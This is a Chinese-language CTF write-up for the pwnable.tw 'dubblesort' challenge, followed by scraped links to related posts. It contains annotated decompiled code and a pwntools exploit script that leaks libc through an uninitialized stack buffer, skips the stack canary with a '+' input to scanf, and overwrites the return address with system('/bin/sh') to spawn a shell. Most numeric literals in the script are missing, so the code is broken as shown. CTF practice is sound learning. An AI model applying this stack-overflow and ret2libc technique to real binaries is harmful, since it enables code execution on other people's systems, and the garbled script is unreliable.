(留坑,远程没打成功)

int __cdecl main(int argc, const char **argv, const char **envp)
{
int t_num_count; // eax
int *num_stack; // edi
unsigned int input_count; // esi
unsigned int output_ptr; // esi
int v7; // ST08_4
int result; // eax
unsigned int num_count; // [esp+18h] [ebp-74h]
int v10; // [esp+1Ch] [ebp-70h]
char buf; // [esp+3Ch] [ebp-50h]
unsigned int v12; // [esp+7Ch] [ebp-10h] v12 = __readgsdword(0x14u);
sub_8B5();
__printf_chk(, "What your name :");
read(, &buf, 0x40u);
__printf_chk(, "Hello %s,How many numbers do you what to sort :");// 栈空间未初始化为0,printf时\x00截断,导致栈空间信息泄露
__isoc99_scanf("%u", &num_count);
t_num_count = num_count;
if ( num_count )
{
num_stack = &v10;
input_count = ;
do
{
__printf_chk(, "Enter the %d number : ");
fflush(stdout);
__isoc99_scanf("%u", num_stack);
++input_count;
t_num_count = num_count;
++num_stack;
}
while ( num_count > input_count );
} // ebp-0x70读入num_count个数,栈溢出
sub_931((unsigned int *)&v10, t_num_count); // 冒泡,升序
puts("Result :");
if ( num_count )
{
output_ptr = ;
do
{
v7 = *(&v10 + output_ptr);
__printf_chk(, "%u "); // canary最低位为00,这里偏移24覆盖为\x00可以leak canary
++output_ptr;
}
while ( num_count > output_ptr );
}
result = ;
if ( __readgsdword(0x14u) != v12 )
sub_BA0();
return result;
}
#! /usr/bin/env python
# -*- coding: utf- -*- from pwn import * context.log_level='DEBUG' '''
r=remote('chall.pwnable.tw',)
libc=ELF('./libc_32.so.6')
''' r=process('./dubblesort')
libc=ELF('/lib32/libc-2.27.so') '''
r=process('./dubblesort',env={"LD_PRELOAD":"/root/pwnable.tw/dubblesort/libc_32.so.6"})
libc=ELF('./libc_32.so.6')
''' #leak libc_base
r.recvuntil('What your name :')
r.sendline('a'*)
r.recvuntil('\n')
#libc_base=u32('\x00'+r.recv())-0x1D2CD0
libc_base=u32('\x00'+r.recv())-0x1D5000 #本地(我就TM奇他喵了个咪的怪了,本地能打远程就不行?
success('libc_base:'+hex(libc_base)) sys_addr=libc_base+libc.sym['system']
binsh_addr=libc_base+libc.search('/bin/sh').next()
#binsh_addr=libc_base+0x168e8b
success('sys_addr:'+hex(sys_addr))
success('binsh_addr:'+hex(binsh_addr)) '''
0x5f066 execl("/bin/sh", [esp])
constraints:
esi is the GOT address of libc
[esp] == NULL one_gadget=libc_base+0x5f066
success('one_gadget addr:'+hex(one_gadget))
''' #gdb.attach(r) #r.recvuntil('How many numbers do you what to sort :')
r.sendline('') for i in range(,):
r.recvuntil(':')
r.sendline(str(i)) #bypass canary
r.recvuntil(':')
r.sendline('+') #,canary for i in range(,):
r.recvuntil(':')
r.sendline(str(sys_addr)) for i in range(,):
r.recvuntil(':')
r.sendline(str(binsh_addr)) r.interactive()

本地能打成功,远程可能是给的libc没有找到'/bin/sh'(?直接在libc里找libc.search('/bin/sh').next()是可以找到的,但是在IDA同样的位置找到的并不是db类型的字符串常量'/bin/sh',此处留坑),one_gadget试了下也没成功

pwnable.tw dubblesort的更多相关文章

  1. pwnable.tw dubblesort 分析

    本系列为用于记录那些比较有意思的题目. 题目为一个排序算法,就如题目名称那样,dubblesort,32位程序. 利用思路为栈溢出,先是栈溢出泄露出栈上libc的相关数据从而获取libc地址,再是栈溢 ...

  2. pwnable.tw applestore

    存储结构 0x804B070链表头 struct _mycart_binlist { int *name; //ebp-0x20 int price; //ebp-0x1c struct _mycar ...

  3. pwnable.tw silver_bullet

    产生漏洞的原因 int __cdecl power_up(char *dest) { char s; // [esp+0h] [ebp-34h] size_t new_len; // [esp+30h ...

  4. pwnable.tw hacknote

    产生漏洞的原因是free后chunk未置零 unsigned int sub_80487D4() { int index; // [esp+4h] [ebp-14h] char buf; // [es ...

  5. pwnable.tw calc

    题目代码量比较大(对于菜鸡我来说orz),找了很久才发现一个能利用的漏洞 运行之发现是一个计算器的程序,简单测试下发现当输入的操作数超过10位时会有一个整型溢出 这里调试了一下发现是printf(&q ...

  6. pwnable.tw start&orw

    emm,之前一直想做tw的pwnable苦于没有小飞机(,今天做了一下发现都是比较硬核的pwn题目,对于我这种刚入门?的菜鸡来说可能难度刚好(orz 1.start 比较简单的一个栈溢出,给出一个li ...

  7. 【pwnable.tw】 starbound

    此题的代码量很大,看了一整天的逻辑代码,没发现什么问题... 整个函数的逻辑主要是红框中两个指针的循环赋值和调用,其中第一个指针是主功能函数,第二个数组是子功能函数. 函数的漏洞主要在main函数中, ...

  8. Pwnable.tw start

    Let's start the CTF:和stdin输入的字符串在同一个栈上,再准确点说是他们在栈上同一个地址上,gdb调试看得更清楚: 调试了就很容易看出来在堆栈上是同一块地址.发生栈溢出是因为:r ...

  9. pwnable.tw orw

    orw 首先,检查一下程序的保护机制 开启了canary保护,还是个32位的程序,应该是个简单的题

随机推荐

  1. JS confirm或alert对话框中的换行

    如题. alert.confirm对话框的换行可以使用回车符或换行符:\n,\r 也可以使用回车符或换行符对应的unicode编码:\u000a,\u000d,这是等效的. //确认信息 var co ...

  2. 汉诺塔I && II

    汉诺塔I 题目链接:https://www.nowcoder.com/questionTerminal/7d6cab7d435048c4b05251bf44e9f185 题目大意: 略 分析: 利用汉 ...

  3. codeforces131D

    Subway CodeForces - 131D A subway scheme, classic for all Berland cities is represented by a set of  ...

  4. elastic的gc相关

    https://www.jianshu.com/p/1f450826f62e   gc原理介绍 相关优化 https://zhaoyanblog.com/archives/319.html 问题 ht ...

  5. 简单 php 代码跟踪调试实现

    简单 php 代码跟踪调试实现 debug_backtrace:生成回溯 debug_print_backtrace:打印回溯 1. debug_backtrace ($options = DEBUG ...

  6. 远离go path,弃用go get,使用go mod 进行go语言的学习

    标题说的是go语言的学习,因为我也没做过开发 文章要解决的仅仅是一个问题 当你使用go get 无论如何get不到所需的包的问题 第一步就是下载goland 新手极其推荐goland,因为直接使用gl ...

  7. opencontrail—VXLAN模式下数据包的传输过程

    在这篇文章中,我们将看到VM生成的数据包如何能够到达另一个VM或外部资源,Neutron使用OpenContrail插件的上下文中的关键概念/组件是什么. 我们将重点介绍OpenContrail,它如 ...

  8. [Windows Hyper-V-Server]Enable or disable firewall rules under powershell / powershell下启用禁用防火墙规则

    http://www.cryer.co.uk/brian/windows/hyper-v-server/help_computer_cannot_be_managed.htm Enable COM+ ...

  9. 题解:luoguP1861 星之器

    为什么全世界都说这是个物理题,不应该是一个数学题吗,神犇的势能完全看不懂 我们直接来看题,对于一个点,在计算时候横坐标和纵坐标互不影响,所以我们分开考虑. 我们记两个点假如横坐标相同,分别记纵坐标为a ...

  10. bzoj4490 随机数生成器Ⅱ加强版

    题目链接 题意 给出参数\(C_1,C_2,P\)按如下方式生成一个长度为\(n \times m\)的序列\(x\): \(x_0 = C_1,x_1=C2\) \(x_i=(x_{i-1}+x_{ ...